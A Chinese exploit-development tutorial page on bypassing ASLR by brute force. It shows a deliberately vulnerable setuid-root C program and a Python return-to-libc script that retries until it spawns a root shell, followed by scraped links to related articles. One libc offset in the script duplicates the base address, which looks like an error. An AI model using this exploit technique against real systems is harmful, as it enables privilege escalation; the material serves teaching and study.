(1)原理:

  使用爆破技巧,来绕过共享库地址随机化。爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功。这个技巧是用于绕过 ASLR 的最简单的技巧。

(2)漏洞代码

  1. //vuln.c
  2. #include <stdio.h>
  3. #include <string.h>
  4. int main(int argc, char* argv[]) {
  5. char buf[256];
  6. strcpy(buf,argv[1]);
  7. printf("%s\n",buf);
  8. fflush(stdout);
  9. return 0;
  10. }

编译

  1. echo 2 > /proc/sys/kernel/randomize_va_space
  2. gcc -fno-stack-protector -g -o vuln vuln.c
  3. sudo chown root vuln
  4. sudo chgrp root vuln
  5. sudo chmod +s vuln

(3)当随机化打开时不同的 Libc 基址

上面展示了,Libc 随机化仅限于 8 位。因此我们可以在最多 256 次尝试内,得到 root shell。

(4)攻击代码

  1. #exp.py
  2. #!/usr/bin/env python
  3. import struct
  4. from subprocess import call
  5. libc_base_addr = 0x161dd8 #随便选择一个基址即可
  6. exit_off = 0x001a615c
  7. system_off = 0x0003f430
  8. binsh_off=0x161dd8
  9. system_addr = libc_base_addr + system_off
  10. exit_addr = libc_base_addr + exit_off
  11. binsh_arg = binsh_off+libc_base_addr
  12. #endianess convertion
  13. def conv(num):
  14. return struct.pack("<I",num)
  15. buf = "A" * 268
  16. buf += conv(system_addr)
  17. buf += conv(exit_addr)
  18. buf += conv(binsh_arg)
  19. bufl=""
  20. print "Calling vulnerable program"
  21. #Multiple tries until we get lucky
  22. i = 0
  23. while (i < 256):
  24. print "Number of tries: %d" %i
  25. i += 1
  26. ret = call(["./vuln", buf])
  27. if (not ret):
  28. break
  29. else:
  30. print "Exploit failed"

获得system和exit偏移地址:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

(5)从网站https://libc.blukat.me/获得/bin/sh偏移地址

(6)执行程序 $python exp.py,获得root shell。

Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分的更多相关文章

  1. Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)

    转:https://bbs.pediy.com/thread-217390.htm 前提条件: 经典的基于堆栈的缓冲区溢出 虚拟机安装:Ubuntu 12.04(x86) 在以前的帖子中,我们看到了攻 ...

  2. Linux (x86) Exploit 开发系列教程之四(使用return-to-libc绕过NX bit)

    (1)原理: “NX Bit”的漏洞缓解:使某些内存区域不可执行,并使可执行区域不可写.示例:使数据,堆栈和堆段不可执行,而代码段不可写. 在NX bit打开的情况下,基于堆栈的缓冲区溢出的经典方法将 ...

  3. Linux (x86) Exploit 开发系列教程之二(整数溢出)

    (1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> #include <stdlib.h> void s ...

  4. Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))

    off by one(栈)? 将源字符串复制到目标缓冲区可能会导致off by one 1.源字符串长度等于目标缓冲区长度. 当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上 ...

  5. Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

    (1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) ...

  6. Linux Exploit系列之七 绕过 ASLR -- 第二部分

    原文地址:https://github.com/wizardforcel/sploitfun-linux-x86-exp-tut-zh/blob/master/7.md 这一节是简单暴力的一节,作者讲 ...

  7. 微信公众号开发系列教程一(调试环境部署续:vs远程调试)

    http://www.cnblogs.com/zskbll/p/4080328.html 目录 C#微信公众号开发系列教程一(调试环境部署) C#微信公众号开发系列教程一(调试环境部署续:vs远程调试 ...

  8. RabbitMQ系列教程之七:RabbitMQ的 C# 客户端 API 的简介(转载)

    RabbitMQ系列教程之七:RabbitMQ的 C# 客户端 API 的简介 今天这篇博文是我翻译的RabbitMQ的最后一篇文章了,介绍一下RabbitMQ的C#开发的接口.好了,言归正传吧. N ...

  9. C#微信公众号开发系列教程三(消息体签名及加解密)

    http://www.cnblogs.com/zskbll/p/4139039.html C#微信公众号开发系列教程一(调试环境部署) C#微信公众号开发系列教程一(调试环境部署续:vs远程调试) C ...

随机推荐

  1. Java 多线程示例

    /** * 多线程案例 两种方式 模拟买票程序(不考虑线程安全问题) */ public class ThreadTest { public static void main(String[] arg ...

  2. JAVA基础知识|继承的几个问题

    1.子类从父类继承了什么? 子类拥有父类非private的属性,方法. 2.子类可以操作父类的非private属性吗? 子类不能继承父类的私有属性,但是如果父类中的非private方法影响到了私有属性 ...

  3. 深入理解JVM虚拟机3:垃圾回收器详解

    JVM GC基本原理与GC算法 Java的内存分配与回收全部由JVM垃圾回收进程自动完成.与C语言不同,Java开发者不需要自己编写代码实现垃圾回收.这是Java深受大家欢迎的众多特性之一,能够帮助程 ...

  4. fidder监控请求响应时间和请求IP

    1.增加监控请求的详情时间 在CustomRules.js的class Handlers中增加  //添加请求的响应时间 public static BindUIColumn("Time T ...

  5. 你的Node应用,对接分布式链路跟踪系统了吗?(一) 原创: 金炳 Node全栈进阶 4天前 戳蓝字「Node全栈进阶」关注我们哦

    你的Node应用,对接分布式链路跟踪系统了吗?(一) 原创: 金炳 Node全栈进阶 4天前 戳蓝字「Node全栈进阶」关注我们哦

  6. celery的介绍和在爬虫的中使用

    https://mp.weixin.qq.com/s/FzvZHQpF5mhV9t_HBzlcwg

  7. 设备树中指定的中断触发方式与request_irq中指定的触发方式不一致时,内核会使用哪种中断触发方式呢?

    答:会使用request_irq中指定的触发方式

  8. Leetcode: Sum of Two Integers && Summary: Bit Manipulation

    Calculate the sum of two integers a and b, but you are not allowed to use the operator + and -. Exam ...

  9. xss绕过姿势

    #未完待续... 00x1.绕过 magic_quotes_gpc magic_quotes_gpc=ON 是php中的安全设置,开启后会把一些特殊字符进行轮换, 比如: ' 会被转换为 \' 再比如 ...

  10. Realsense D430 save

    rs-save-to-disk.cpp // License: Apache 2.0. See LICENSE file in root directory. // Copyright(c) 2015 ...